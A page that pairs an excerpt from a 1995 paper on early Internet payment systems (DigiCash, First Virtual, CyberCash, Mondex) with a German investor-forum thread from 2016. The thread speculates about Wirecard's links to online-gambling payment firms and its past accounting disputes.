      Nevertheless, commentators within the financial services industry recognize that changes are taking place. On March 25th, 1994, Unipalm, a small British software firm, became the first company to make the prospectus for its forthcoming flotation available to subscribers of Internet. This may be indicative of a future which will see increasing volumes of investor-relevant information made available to end users which was previously restricted to financial intermediaries. Charles Sanford, the Chairman of Banker Trust, anticipates that by 2020, individuals will be in a position to buy and manipulate staggering amounts of information before they make decisions about their investments. The role of intermediary will increasingly be taken by electronic bulletin boards which will match buyers with sellers, borrowers with lenders. Payment and settlement systems will permit transactions to be instantly verified and settled through a global payments system (Economist, 1994c).
      (...)
      The Internet is now acquiring a more commercial character and therefore there is pressure to develop and market a form of electronic payment system which will be as fast, flexible and global as the Internet itself. In general terms, this is one of several instances where advances in communications technology have already moved ahead of the technology presently incorporated into proprietary payments networks. Innovation appears to be led by non-bank, often start-up software-based companies. As well as small entrepreneurial companies, the major credit card companies, Visa and MasterCard are presently leading the race to establish secure payment systems on the Internet.

      There are at present four separate approaches to achieving a secure payments solution. Most involve some form of encryption to protect the confidentiality of the sensitive elements of the message. Firstly, there are efforts to develop new digitized forms of electronic money or e-cash. A second line of approach is for a payment service provider to act as a messaging intermediary, often using other established security clearance procedures. Thirdly, efforts are being concentrated on establishing forms of encryption which will permit credit card information to be sent to Internet-based goods and service providers who will then seek separate credit card authorization using the proprietary networks, including those established by Visa and MasterCard. Finally, there is a fourth approach which involves the use of ‘smart cards.’ Several schemes are presently at the experimental stage, while others such as First Virtual have already declared themselves as open to do business on the Internet. It is worthwhile noting that nearly all the announcements date back less than 9 months. This paper sets out some of the current schemes but developments are moving increasingly rapidly and there are new announcements taking place almost weekly.
      Digitized ‘e-cash’ Systems

      A number of companies are developing payment systems which permit direct payments to be made anonymously. Payment takes the form of encoded messages representing the encrypted equivalent of digitized money. The aim is to be able to effect payment directly without requiring the use of intermediaries. A number of trials are presently under way to test the concepts which are involved.

      One of the leading firms which is developing an ‘e-cash’ system is DigiCash, which has previously been involved in developing smart card technologies. DigiCash is a Dutch company based in Amsterdam. It has been running trials since November, 1994, involving the transmission of what is effectively electronic money using more than thirty sellers linked to the Internet. Test sites include the Encyclopaedia Britannica. Payments consist of uniquely coded digital tokens which are established in such a way as to prevent duplication or fraud. Under the DigiCash scheme, customers would use local currency to buy an equivalent amount of digital cash from a bank. Instructions would then be sent from the bank's to the DigiCash user's personal computer, enabling payment instructions to be sent directly to sellers of goods and services on the Internet.

      The key to the DigiCash system is anonymity. A person who spends one of its electronic tokens does not need to reveal his or her identity to the buyer nor to any third party except when there is an attempt at fraud, i.e., when the same piece of digital money is presented twice for payment. At this point it is possible to unravel the digital token to reveal the entity to which it was originally issued. DigiCash is attempting to license its e-cash system to banks and other financial institutions. One of its key attractions is that it avoid the time and expense associated with becoming an approved credit card accepting merchant. Anyone will be able to set up a business and receive e-cash once the system is operating fully. However, DigiCash will require the direct involvement of a bank for its system of digital cash issuance and this may yet prove to be a significant obstacle to the realization of the scheme. A bank is integral to the scheme, since it is required to hold collateral and to provide ultimate settlement of e-cash to more directly convertible currencies.
      Payment Clearing Systems

      A number of companies are attempting to overcome the security issues involved in handling payments on the Internet by establishing electronic clearing systems. Essentially the service on offer involves a system of secure messages which permit buyer and seller to communicate with each other, while also permitting instructions to make payment to be sent via the message/payment clearer, frequently using existing proprietary networks.

      One example is First Virtual Holdings which is a start-up company based in Cheyenne, Wyoming. First Virtual has developed a system for linking credit card, banks and processing agents with the Internet. It has developed a closed loop payment system which involves First Virtual's providing a mailbox from which instructions to make the payment and to credit the seller's account are made. The system depends on the “off-line” network provided by EDS which is used to transfer credit card/bank account information, with First Virtual effectively acting as a message clearing house. In effect the buyer sends a message to First Virtual which passes this on to EDS. EDS in turn acts under instruction from First Virtual to pass on the account details to the seller. When the transaction is confirmed, First Virtual sends a message to the buyer to confirm that the transaction should still go ahead, at which point payment is effected.

      The First Virtual system has been in operation since October, 1994, and is seen to have the advantage that it does not require encrypted messages as do other credit card-based systems. First Virtual checks with the buyer that a particular transaction is to go ahead before arranging the appropriate account debit. First USA Merchant Services have been contracted to provide clearing, settlement, and authorization for the credit card transactions. First Virtual is significant in that its payment system was created almost entirely independently of the banking system. The President and Chief Executive of First Virtual is quoted as stating “There was no traditional banking mechanism set up to deal with the Internet”. First Virtual's initial aim is to permit businesses to receive income for services (such as publications) over the Internet where traditional payment methods would be uneconomic.

      CyberCash Inc. is a small start-up company set up in August, 1994, in Reston, Virginia. Its founder is William Melton, who was responsible for the creation of Verifone Inc., currently the leading supplier in the United States of POS (point of sale) credit card authorization systems. CyberCash is developing an on-line payment service and on December 12, 1994 announced that it had signed an agreement with Wells Fargo to run a pilot service. Initially the system will provide a secure means of providing credit card details and thereby effecting payment electronically. One of the features of the systems being developed by CyberCash is that it will be ‘browser independent.’ This stems from the breakthrough which Verifone made in supplying authorization terminals which can handle all the principal credit card services. William Melton is quoted as saying “The Internet is going to happen, with or without the bankers. But the bankers, the bright ones, are going to make this an opportunity”.

      CyberCash provides a useful illustration of how electronic payment clearing systems on the Internet will work. Users of the CyberCash system must first obtain copies of software which can be downloaded from the CyberCash web server. Once a price has been negotiated with the merchant, the customer is sent an on-line invoice detailing the purchase information together with a statement confirming the total charges to which the customer adds credit card number or debit card information, including personal identification number (PIN) where appropriate. This information is then sent to the merchant in encrypted form together with the original invoice. The merchant adds identification information and forwards all the information to the CyberCash server. CyberCash then initiates a standard credit card or debit authorization request to the merchant's bank or designated merchant acquirer (processing center). After the authorization request has been processed, CyberCash forwards a response to the merchant who then completes the transaction. Involvement on the part of CyberCash is completely automated and runs off its Internet file server.

      In addition to facilitating debit or credit card payments, CyberCash will also provide independent electronic payment services. Accounts are established directly with CyberCash and maintained on the basis of an account holder's CyberCash key and not on direct user identity. CyberCash accounts are non-interest-bearing holding accounts for cash which the account holder intends to transfer or has received through CyberCash. There are neither float nor checks, only signed receipts that can be sent to receivers to indicate that a transfer has occurred. The only way to place cash into or remove cash from a CyberCash account will be through a demand deposit account in a bank. Consequently, any funds in CyberCash accounts remain within the participating banks. CyberCash accounts are particularly suitable for electronic cash payments that are too small to be processed cost effectively as discrete credit card or debit card payments. This service is expected to permit the processing of the large volume of small payments which are expected to arise from a projected explosion in entrepreneurial electronic information publishing and commerce.

      Meanwhile the Information Networking Institute of Carnegie Mellon University is sponsoring ‘NetBill,’ which is a scheme which would broker transactions through a third-party financial institution, similar to the system of debit cards which is already in existence. The system requires both the customer and merchant to maintain accounts with the third party acting as the broker. When a customer wants to make a purchase of goods or services, a message is sent using the NetBill software to the third party financial institution instructing a transfer of the relevant amounts to the seller's account. Similarly, the Information Sciences Institute at the University of Southern California is developing both a cash/cheque model and a debit card model based on a similar structure. Selection can then be made according to whether the buyer is or is not seeking anonymity. ISI is working with a several banks including Bank of America and Citibank (Economist, 1994d).
      Credit Card-Based Systems

      The major credit companies have been the only established financial institutions actively investing in future payment systems on the Internet. Credit card based payment systems have some limitations already identified earlier in the paper. Nevertheless, telephone-based credit card payments currently account for the majority of Internet commercial transactions. A secure and efficient method to transmit credit card details will clearly be welcomed as a major step forward. A number of initiatives are underway. Both of the major credit card companies have linked up with software houses to develop the encryption software systems which will be required.

      On November 9, 1994, Visa and Microsoft announced that they were jointly developing software based on a security architecture which will enable customers to make purchases using coded credit card, debit card and chargecard numbers on-line. The intention is to add future optional upgrades to the PC-based Windows operating system which will permit card details to be encrypted so that payment will be secure. The intention is to make the software available as part of future optional upgrades to the Windows operating system, which will also incorporate a user-friendly interface to the Internet as standard. Visa International is a non-stock, non-profit-making company which is registered in Delaware, US. It is controlled by its members, the banks that issue VISA credit cards. Voting rights are in proportion to the volume of business transacted. In common with other credit card-based systems, Visa's Internet payment system will be limited to merchants who have been approved by the organization to accept their credit cards.

      In January, 1995, MasterCard announced that it will start providing banking services on the Internet. MasterCard will base their services on the Netscape computer software, which is designed to encrypt transactions and keep them secure. MasterCard International is also registered in the US and controlled by its bank membership. Netscape is a California based company which is developing secure encryption software for transmitting payments over the Internet. It has already successfully developed a suite of programs for accessing the Internet which are sold commercially. Netscape is also working with Bank of America and with First Data Corp as well as MasterCard International.
      Smart Card Based Systems

      Some observers believe that the only way in which payments over the Internet can be made secure is to physically separate authentication from the process which provides the communication links between buyer and seller. A number of companies are therefore examining the use of smart card readers linked to a personal computer. A smart card used to store money in the same way as a phone card would make it possible to separate authentication from the payment process. Smart cards technology would permit them to be charged up with cash at an ATM or separately using a proprietary bank network. The value in the smart card could then be transferred securely and anonymously over the Internet.

      National Westminster Bank is one of several organizations developing smart card technology to create what is referred to as an ‘electronic purse’. While the magnetic strip on a credit card can only hold one or two lines of information, smart cards can store several pages of text. This permits credit card-sized smart cards to be used to transfer cash amounts which can then be ‘spent’ using special terminals. The initial applications will involve replacing small cash payments made to retailers (e.g., for newspapers, confectionery) or to pay for services like public telephones or public transport.

      NatWest's longer range vision is for Mondex to be used on a more global basis to buy goods from suppliers on the Internet. Payments would involve having a special smart card reading device linked to the PC and software that recognized the card reader. Although this may prove a cumbersome alternative compared with more direct payment methods, NatWest and other smart card developers believe there would be a key benefit from the inherent security which is built into smart cards. Smart cards could also be more readily integrated into the existing networks of ATMs, integrating with what is likely to remain the predominant form of payment transaction, namely cash.

      Electronic Commerce and the Banking Industry: The Requirement and Opportunities for New Payment Systems Using the Internet
      December 1995
      Andreas Crede
      http://onlinelibrary.wiley.com/doi/10.1111/j.1083-6101.1995.…

      lesenswert
      Avatar
      schrieb am 20.11.16 15:25:27
      Beitrag Nr. 210 ()
      offtopic?
      In den letzten Jahren hat der bargeldlose Zahlungsverkehr aus verschiedenen Gründen beträchtlich zugenommen; u. a. brauchen Käufer nicht immer große Geldbeträge mit sich zu führen, um größere Einkäufe tätigen zu können, so daß zum einen ein Dieb­stahlrisiko herabgesetzt wird, zum anderen aber auch Spontan­käufe möglich werden. Auf der Seite der Verkäufer erübrigt sich die Handhabung großer Geldbeträge.

      Von wann, glaubt ihr, stammt dieser Text?
      von einer Patentanmeldung vom 2. Februar 1999 :)
      und nun weitere Frage...
      welcher Firma gehörte das Patent?
      Paybox in Frankfurt, später zu 50% in Besitz der Deutschen Bank :)
      2009 wurde Paybox an Sybase verkauft
      und im Mai 2010 kaufte SAP Sybase
      Also gehört der SAP das Patent? eingereicht wurde es übrigens (oder übernommen) von einem gewissen Matthias Entenmann.

      Der brachte 2004 ein neues Zahlungssystem nach Europa. Als managing director einer gewissen Firma "Paypal"
      http://www.wsj.com/articles/SB109278502004294284

      Hier ist noch so ein altes Ding:
      Aufgabe der vorliegenden Erfindung ist es daher, eine Methode zur automatischen elektronischen Abwicklung von bargeldlosen Kaufvorgängen in Kundendaten schützender und Anbieter absichernder Weise verfügbar zu machen.
      Dazu braucht es einen "Mittler", so der Erfinder. Ich zitiere:
      Bei der Koordinierungseinrichtung handelt es sich um eine sowohl vom Kunden als auch vom Anbieter unabhängige Einrichtung. Auf deren Datenbank hat der Anbieter keinen Zugriff, so daß er bei einem Kaufvorgang keinerlei Daten vom jeweiligen Kunden erhält, für den Kunden somit volle Anonymität genauso gewahrt bleibt wie bei Barzahlungskäufen.
      Die Koordinierungseinrichtung befindet sich in Händen eines unabhängigen Koordinierungsdienstleisters, der für seine Koordinierungsdienstleistung beispielsweise bei jedem von ihm koordinierten Kaufvorgang vom Anbieter und/oder Kunden eine Koordinierungsentlohnung erhält, beispielsweise in Form eines bestimmten Prozentsatzes des Preises des vom Kunden ausgewählten Produktes.

      Das war die Erfindung des Geschäftsmodells des Markus Braun.
      Avatar
      schrieb am 21.11.16 18:05:42
      Beitrag Nr. 211 ()
      Zitat von jigajig: ach is ja wohl nicht wahr, oder?
      Registrant:
      Market Alliance Agency Limited
      Market Alliance Agency Limited
      Fidelity Suite 2, Portland House Glacis Road
      Gibralta, -
      GI
      Phone: +1.051137444950

      Der agebliche Käufer von miobet/genpage???


      Hier hat sich inzwischen eine neue Beweislage ergeben. BetOnUSA AG wurde ja in Miobet umgewandelt. Zuvor wurde, ausdrücklich mit dem Ziel, US-Ermittler auszutricksen, der Casinoteil an jene Market Alliance Agency Limited verkauft.
      Die Paymentsparte wurde ebenfalls verkauft. Nur: an wen?
      am 9.2.2007 erklärte Mike Hansch (BetOnUSA)
      http://presseservice.pressrelations.de/pressemitteilung/beto…
      Hannover, 09. Februar 2007. Der Vorstand der Betonusa AG hat ein kurzfristiges Kaufangebot genutzt und die Genpage Holding AG ... an eine Gruppe internationaler Investoren verkauft. Über den Kaufpreis, ... Stillschweigen ... Gesamtkaufpreis den aktuellen Bilanzwert der Genpage Holding AG in Summe deutlich übersteigen wird.

      Dieser Verkauf und die damit einhergehende sofortige Übernahme des Managements der Genpage-Gruppe ermöglicht... den operativen Fortbestand der Webtrade GmbH....
      Die Beteiligungen an der Blitztrade Gesellschaft für elektronische Märkte und Börsensysteme mbH und an der Tipgate Internetwetten GmbH (Sportwetten-Lizenz) verbleiben weiterhin innerhalb der Betonusa AG, so dass die Neuorientierung in den europäischen Online-Glücksspielmarkt weiter forciert werden kann.

      wessen Neuorientierung?

      hier übrigens Diskussionen dazu
      http://www.ariva.de/forum/die-wachstumsstory-betonusa-casmak…
      oder hier, 3900 Seiten
      www.wallstreet-online.de/diskussion/1049471-1-10/betonusa-mi…

      Lest das. Sensationell :)
      http://www.sammleraktien-online.de/html/de/details-artid-608…

      was hat das mit der Wirecard zu tun?
      Hmm.
      Ich behaupte: sehr sehr viel.
      Avatar
      schrieb am 21.11.16 18:21:31
      Beitrag Nr. 212 ()
      further reading

      Die Gesellschafter der CasMaker AG nahmen die hohen Nettoerträge ihres Onlineportals BetOnUSA.com zum Anlass, auf ihrer Hauptversammlung am 13. März 2006 eine Umfirmierung der Holding von CasMaker AG in Betonusa AG vorzunehmen. Damit läutet die neue Betonusa AG ihre für Mai 2006 geplante Emission an der Frankfurter Wertpapierbörse am geregelten Markt ein.
      Zwischendurch gab es immer wieder teils sehr schlechte Presse wegen Vorwürfen über das undurchsichtige Geschäftsmodell oder Unregelmäßigkeiten in der Bedienung der Ausschüttungen der stillen Beteiligungen. Zudem wurde regelmäßig die mangelnde Kommunikation gegenüber den Aktionären und die gesamte IR-Arbeit in der Öffentlichkeit und der Finanzpresse stark bemängelt, was auch zu einer sehr turbulenten außerordentlichen HV am 9. August 2006 geführt hatte, zu der immerhin 100 Aktionäre persönlich erschienen waren, nicht aber einige verantwortliche Personen wie auch Maik A. Hansch, der auf Antrag seiner Großaktionärin Digital Media N.V. zum Aufsichtsrat gewählt werden sollte, aber durch Abwesenheit glänzte und zu diesem Zeitpunkt nicht auffindbar war.
      Am 21.07.2006 erfolgte die Billigung des Wertpapierprospekts der Betonusa AG durch die Bafin (Bundesanstalt für Finanzdienstleistungsaufsicht).
      Ende Juli 2006 wurde die Genpage Holding AG übernommen. Dadurch wurden die bisherigen Geschäftsfelder um den Bereich Payment Processing erweitert.
      Im Oktober 2006 erfolgte dann im Rahmen eines so genannten "Asset Deals" die Übernahme des Spielbetriebs und der Software der Firma Worldgaming PLC, London.
      Im Februar 2007 wurde die Genpage Holding AG sowie zwei Tochtergesellschaften wieder verkauft, um sich erneut auf das Geschäftsfeld "Gaming und Entertainment" zu konzentrieren.

      http://www.sammleraktien-online.de/html/de/details-artid-608…

      Was war das mit der BetOnUSA AG?
      Da tauchen namhafte Personen auf, auch die Firma Cybertronix

      https://www.cardschat.com/news/david-baazov-brother-target-o…

      "The elder Baazov has an apparently shady history, having once served 90 days in prison for possession of cocaine, as well as operating a telemarketing scam that conned gullible customers out of hundreds and thousands of dollars."

      Das ist das Puzzlestück!
      Avatar
      schrieb am 21.11.16 19:05:58
      Beitrag Nr. 213 ()
      Die Genpage Holding AG erzielt über ihre Beteiligungen Einnahmen im IPSPMarkt für Kunden der unterschiedlichsten Branchen, wie z.B. Telekommunikation
      (Nokia - Michel Communications), Medien (MDR), Banken (Postbank, Sparkasse
      Köln), Handel (Swarowski), Industrie (Bosch, Deutz AG), Finanzdienstleistungen
      (Franklin Templeton) und viele Andere. Sie wird sich schrittweise von der branchenfremden Beteiligung an der Blitztrade GmbH trennen, vorausgesetzt, die
      Werthaltigkeit dieses Unternehmen lässt sich entsprechend realisieren.
      Die Genpage Holding AG rechnet im laufenden Geschäftsjahr mit einem Ergebnis
      von mindestens EUR 1,9 Mio. Gewinn vor Steuern und zählt zu den führenden Unternehmen im internationalen IPSP-Markt (Internet Payment Service
      Providing).
      ‚Die Abspaltung wird ein unabhängiges Unternehmen schaffen, das bei seinen
      Schlüsselprodukten eine Spitzenposition einnimmt‘, betont Helge Kiessler aus
      dem Vorstand der Genpage Holding AG. ‚Innovation und eine auf gezieltes
      Wachstum ausgerichtete Strategie kennzeichnen das neue Unternehmen.
      Avatar
      schrieb am 22.11.16 22:14:20
      Beitrag Nr. 214 ()
      Vom abhaken und abhacken.
      These:
      Wirecardbefürworter schreiben NIE abhaken!
      Zitat von Floripa: abhaken von buchungsvorgängen

      hmm

      Ah, der Gegenbeweis!
      Zitat von invest_dd: insgesamt die Anleger den Z. Bericht abhaken werden


      Ich schreibe auch abhaken
      Zitat von jigajig: Ach so, wegen Sasse natürlich. Abhaken.


      LisaKirsch schreibt abhaken
      Zitat von LisaKirsch: erstmal den Oktober abhaken.


      Misttheorie.

      aber wer schreibt denn "abhacken"?

      Zitat von EmBranti: Haben sie nicht gesagt das Thema Z. würden sie abhacken


      Und Smudo???
      Zitat von Smudo: Ein Wirecard Sellside Analyst würde sich eher die Hand abhacken

      Ach so. Hier stimmt es ja :)

      Zitat von HunterxHunter: Solche Tage muss man abhacken


      Tagliatelle in finanzen hackt auch ab, wenn er abhakt.

      Was kann man daraus folgern?
      Ein Drittel der User hier können abhaken nicht richtig schreiben?

      ergänzung: es wird auch von anderen hier manchmal etwas abgehackt. die machen auch immer so schöne Leerzeilen
      Avatar
      schrieb am 29.11.16 21:17:53
      Beitrag Nr. 215 ()
      Dieser Thread heißt "Wirecard - zu Risiken und Nebenwirkungen".
      Ein Risiko für die Wirecard sehe ich nach wie vor in Israel, selbst wenn es immer noch keinen einzigen deutschen Bericht zu dem Fall gibt. Informationen zu diesem Fall gibt es (zumindest in deutscher Sprache) ausschließlich in diesem Forum.

      Zwar gibt es die Aussage des Staatsanwaltes, wonach "die Vorwürfe nichts mit seiner Tätigkeit bei der Wirecard zu tun haben" - aber man muß dabei bedenken, dass ein Staatsanwalt in einem laufenden Verfahren sich nicht groß äußert. Insofern war ich erstaunt, dass Dan McCrum überhaupt eine Aussage bekommen hat. Ich bekam keine :)

      Ich bin nicht sicher, wie seine Aussage zu verstehen ist. Er hätte ja auch sagen können "wie kommen sie denn auf diese Frage? Wirecard hat mit diesem Fall nichts zu tun". Hat er aber nicht. Es kann als gesichert gelten, welche Personen und Firmen sich etwa 2006 entschlossen haben, ein "Bündel von Gamblingfirmen" über die ICC abzurechnen. Dazu steht einiges in den Gerichtsdokumenten. Und man weiß, dass Personen sogar öffentlich erklärt haben, wie sie die US-Justiz austricksen wollen. Das steht sogar hier in diesem Forum.
      Zitat von charly503: Der Name Betonusa ist eine einzige Provokation für die US-Behörden“, so der Vorstandsvorsitzedne. Ab sofort soll die Gesellschaft am Markt unter der Firmierung „MioBet AG“ auftreten.(...)
      Interesse zeigte Frau Götting [DSW] auch an den Gesellschaftern, die sich hinter der Market Alliance Agency Inc. verbergen. Deren Identität soll, wie Herrn Hansch in seiner Antwort ausführte, nicht aufgedeckt werden, was auch vertraglich so festgehalten wurde. Das Ziel sei es ja eben, das Geschäft anonym fortzuführen, um den Betreiber für die US-Behörden nicht angreifbar zu machen.

      Und es steht nun einmal auch in diesem Forum, dass niemand anderes als die Wirecard die Paymentsparte dieser Leute übernommen hat. Das Problem ist nicht, dass ich und andere das damals nicht geprüft hätten, nur: damals gab es keine belastbaren Indizien dafür. Das hat sich aber geändert.

      Am kommenden Donnerstag findet eine Anhörung statt (oder sie wurde auf Donnerstag angesetzt). Ob man danach etwas mehr von diesem Fall als "gesichert" ansehen kann, muß man abwarten.

      Dass die Bedeutung des Falles so gering geschätzt wird, verstehe ich nicht. Aber ich werde genau diese Frage stellen, sobald ich alle nötigen Unterlagen aus Israel habe. Dann werden wir sehen, was die nächsten Schritte sind, sollte es immer noch keiner als relevant ansehen.

      Das Forum wallstreet-online spielt in diesen Fällen eine ganz besondere Rolle. Nirgends gibt es so viele Informationen zu einer Reihe von spannenden Geschichten. Egal, wie diese Geschichte ausgeht: wallstreet-online hat als einziges Forum zugelassen, dass hier exklusive Informationen stehen.

      Das muß man sich z.B. mal ansehen!
      http://www.wallstreet-online.de/diskussion/500-beitraege/101…

      Es gab einen Insiderprozess, bei dem diese Firma eine Rolle spielte:
      m-wise inc
      Eine israelische Firma, die dann einen IPO an der Nasdaq gemacht hat.

      Viele Jahre später konnte man in US-Gerichtsdokumenten lesen:
      Washington, D.C., Feb. 1, 2011 — The Securities and Exchange Commission today filed fraud charges against the operators of a $33 million international microcap stock scheme involving the stocks of eight small U.S. companies headquartered in the People's Republic of China, Canada, and Israel.
      (...)
      The SEC alleges that at various times between January 2005 and December 2007, each of the defendants engaged in one or more schemes to pump up the price and volume of the securities of one or more of the companies by paying for false spam e-mail campaigns.

      Die Mail ist hier im Forum sogar zu lesen!
      (siehe oben)

      und?
      Just der in dem Verfahren erwähnte Israeli und Gründer der Firma repräsentierte in israel zwei deutsche Firmen, die als "Vermittler" auftraten bei den deals der israelischen ICC und... wem???

      Also: Das ist eine lustige Geschichte, ob mit Wirecard oder ohne. Falls Wirecard da in irgendeiner Weise direkt oder indirekt verwickelt wäre, dann ist das "faktisch" ein Skandal, egal, ob dieser nun aufgrund der vielen Jahre irgendwo einer Erwähnung wert ist oder nicht.

      Und eine entscheidende Person beim israelischen Skandal ist eben nicht nur Geschäftsführer irgendeiner einer Wirecardfirma gewesen, sondern der Firma, die 2007 oder 2008 gekauft wurde. In Köln. Beim Vorstadtkrokodil...

      Das dürfte alles komplett belegbar sein.
      Avatar
      schrieb am 29.11.16 21:24:23
      Beitrag Nr. 216 ()
      Der Threadstarter hat übrigens zB zwischen dem 24,8,2007 und dem 8.12.2008 (also in 16 Monaten) genau ein Posting geschrieben - im wallstreet-Thread :)
      Zitat von streger: Bin über diesen Artikel auf diesen Thread gestoßen und will ihn euch nicht vorenthalten:

      http://www.handelsblatt.com/finanzen/boerse-inside/das-schwa…

      Schafft nicht jeder Thread/User im Handelsblatt genannt zu werden :)

      *duckundweg*
      2 Antworten
      Avatar
      schrieb am 29.11.16 22:24:24
      Beitrag Nr. 217 ()
      zum gelöschten beitrag diesmal ausführlich und mit eindeutigen Zitaten:
      Zitat von invest_dd: Manchmal frage ich mich, ob man auf die Art (Short-Attacken) einen unliebsamen Konkurrenten schaden will oder vielleicht einem Partner (Alipay).
      http://www.gevestor.de/news/wirecard-short-seller-haben-derz…
      Wirecard muss wie bisher durch gute Arbeit die bösen Geister vertreiben.
      Meine Meinung.
      der verlinkte Beitrag von Tobias Schöneich (Rolf Morrien)(--> Esters, Sasse)(siehe hier) stammt vom 1.9.2016
      Daher der obige Chart seit dem Erscheinen des Artikels. Es ist ein typischer Artikel dieser Autorengruppe.
      Erstaunlich, dass eigentlich jeder über Sasse und Co schimpft, aber sie werden trotzdem immer wieder zitiert.
      So. Das vorabzur Einordnung.
      es dürfte aber Folgendes klar sein: dass sich US-amerikanische Hedgefonds hinter dieser Attacke verbergen, die mit Wetten auf fallende Kurse bei Wirecard Geld verdienen wollten und etwas nachgeholfen haben, damit die Kurse auch tatsächlich fallen.

      disqualifizierend. Weitreichende Behauptung ohne jeden Beleg. Stammtischniveau! "Afrikaner schnackseln halt gerne". Das ist ein vergleichbarer Satz. Kein Niveau. Warum zitierst Du das, invest_dd?
      Inzwischen aber hat sich die Wirecard-Aktie sehr gut von dieser Attacke erholt und notiert mittlerweile sogar wieder über dem Niveau, auf dem die Aktie vor der Short-Attacke lag.
      Da aber noch immer sehr viele Leerverkäufer bei Wirecard am Werke sind, droht jetzt sogar ein sogenannter „Short-Squeeze“.
      Der droht schon, seit die Shortseller short gegangen sind - irgendwann ab Mitte 2015 ging das "richtig" los. Die Begründung dafür, dass der "Short-Squeeze" droht, ist [hir und jetzt] das Erreichen der Kurse "vor der Shortattacke". Was ist denn damit überhaupt gemeint? Die Kurse vor Zatarra? Die waren so berauschend nicht. Nicht viel anders als heute...
      Es gibt eine unendliche Liste von Ereignissen seit ungefähr April, die jeweils als Begründung herangezogen wurden, dass es jetzt zum short-squeeze kommt. Vom Analystentag angefangen, ich muß sie nicht wiederholen. Nur: er kam halt seit Herbst 2015 nicht.

      Eine Woche später schreibt Schöneich übrigens:
      In der vergangenen Woche habe ich an dieser Stelle über Leerverkäufer bzw. Short-Seller berichtet. Konkret ging es dabei um den Angriff von Short-Sellern auf das deutsche TecDax-Unternehmen Wirecard, bei dem nun ein sogenannter Short-Squeeze droht.
      (...)
      Zahlreiche wissenschaftliche Studien zu dem Thema weisen darauf hin, dass Leerverkäufer ein wichtiges Korrektiv sind, um Kurs-Exzesse nach oben abzuschwächen. (...)
      Leerverkäufer sind also in gewisser Weise so etwas wie Finanz-Aufseher der Märkte. Denn sie können nicht auf Dauer gegen ein gesundes Papier oder gegen einen gesunden Staat spekulieren.
      Ihre Rechnung geht nur dann auf, wenn dort wirklich etwas im Argen liegt.

      Quelle:
      http://www.gevestor.de/news/leerverkaeufe-bei-dax-und-mdax-a…

      Und diese Quelle zitiert invest_dd. Ich weiß nicht, was soll es bedeuten?

      Zitat von invest_dd: Wirecard muss wie bisher durch gute Arbeit die bösen Geister vertreiben.
      Meine Meinung.

      Hmm. Die Geister (die man übrigens selbst rief, indem man die Kritiker arrogant und despektierlich quasi als "zu doof" bezeichnete)(Quelle in diesem Beitrag) kann man nur vertreiben, indem man ihnen signalisiert, dass man sie ernst nimmt. Genau das tut weder Markus Braun noch seine Fans hier im Forum. Kritik wird kategorisch als "kriminelle Manipulation" abgetan und die Analysten ignorieren sie völlig - sonst wären sie ja auch nicht reif, sagt Braun.
      Die Arroganz von Braun provozierte die Kritiker. Die Suppe auslöffeln müssen jene Leute, die letztes Jahr Wirecard gekauft haben und die auf steigende Kurse hofften, die es einfach derzeit nicht gibt.
      Für Sie als mittel- bis langfristig orientierte Privatanleger ist das Thema Leerverkäufe jedoch nur eine Art Randnotiz. Denn: Leerverkäufer agieren im Gegensatz zu Ihnen eher kurzfristig. Daher können Sie die Leerverkäufer und ihre Leerverkäufe getrost ignorieren.
      (ebenda)
      Oha! Das soll er mal einem erzählen, der im Herbst 2015 gekauft zu höheren Kursen, als wir sie heute haben... in der Hoffnung auf die versprochenen Kurse um die 60€... Ob man das alles getrost ignorieren kann, wenn man nicht das Glück hat, einen Einstiegskurs unter 30€ zu haben, da bin ich mir nicht so sicher... Insofern ist Schöneich auch mit dieser Aussage ziemlich arrogant.

      Zusammenfassend verstehe ich schlicht nicht, was invest_dd damit ausdrücken will?!
      Avatar
      schrieb am 29.11.16 22:42:10
      Beitrag Nr. 218 ()
      https://twitter.com/BagholderQuotes/status/80363180031662080…
      Few appreciate the hard work and years of study that go into becoming a professional bagologist:


      :)
      Avatar
      schrieb am 01.12.16 18:33:33
      Beitrag Nr. 219 ()
      Ich war baff erstaunt, dass kein Mensch bei der HV etwas gefragt hat. Das war ein Kaffeekränzchen mit Comedy-Einlage von Herrn Prejs oder Brejs von der DSW. Er sei damals 2008 das erste Mal auf einer Hauptversammlung gewesen und was damals abgegangen sei, war für ihn unvorstellbar. "Ich entschuldige mich, weil die SdK sich ja nie entschuldigt hat"...
      Das finde ich erstaunlich, denn die DSW selbst hat folgendes auf Iihrer Internetseite
      http://www.dsw-info.de/uploads/tx_zwhvdb/Wirecard2005.pdf

      Grasbrunn,den4.März2008
      Die Deutsche Prüfstelle für Rechnungslegung e.V.(DPR) hat den Konzernabschluss zum
      Abschlussstichtag 31.12.2005 und den Konzernlagebericht für das Geschäftsjahr 2005 der
      Wirecard AG, Grasbrunn, einer Stichprobenprüfung unterzogen und in ihrer Sitzung am
      22.08.2007 festgestellt und am 10.10.2007 der Wircard AG bekanntgegeben, dass der
      Konzernabschluss zum 31.12.2005 fehlerhaft ist. (...)


      wenn man bedenkt, was 2008 zu lesen war:
      http://www.wiwo.de/unternehmen/streit-um-jahresabschluss-bil…

      Bereits vor zwei Jahren hätten die "Bilanzpolizisten" einen Jahresabschluss des im Technologieindex TecDax gelisteten Unternehmens unter die Lupe genommen – und zahlreiche Fehler aufgedeckt. Damals soll das Management von Wirecard die Untersuchung verzögert haben. „Die Prüfung verlief schleppend“, berichtet der Prüfstellen-Vertreter. Seitdem ist Wirecard unter Beobachtung. Beim Abschluss 2007 sei das Unternehmen nun „wohl wieder zurück in den alten Schlendrian gefallen“.
      Damals wie heute steht die Bilanzierung von immateriellem Vermögen im Fokus der Untersuchung. Wirecard hat hier nach Meinung von Experten 2005 und auch jetzt Bilanzpolitik betrieben – also den Jahresabschluss so beeinflusst, dass die Zahlen im Interesse des Unternehmens ausfallen. Aktuell untersuchen die Prüfer daneben aber auch die sogenannte Kapitalflussrechnung im Jahresabschluss.

      Die Vorwürfe der SdK bezogen sich 2008 auf die Intransparenz der Zahlen, insbesondere warf man der Wireecard vor
      Gewinne in beträchtlichem Maß durch die internationale Abwicklung von Glücksspielen im Internet zu erzielen, dies aber unzureichend im Geschäftsbericht auszuweisen.
      (ebd.)
      Nun. Ein Teil dieser Vorwürfe muß insbesondere nach den Ausführungen von Zatarra im Nachhinein neu bewertet werden. Vielleicht sollten sich einige mal fragen, ob man sich nicht bei der SdK entschuldigen müsste.
      Damals hat Wirecard scharf geschossen:
      http://de.reuters.com/article/deutschland-firmen-wirecard-id…
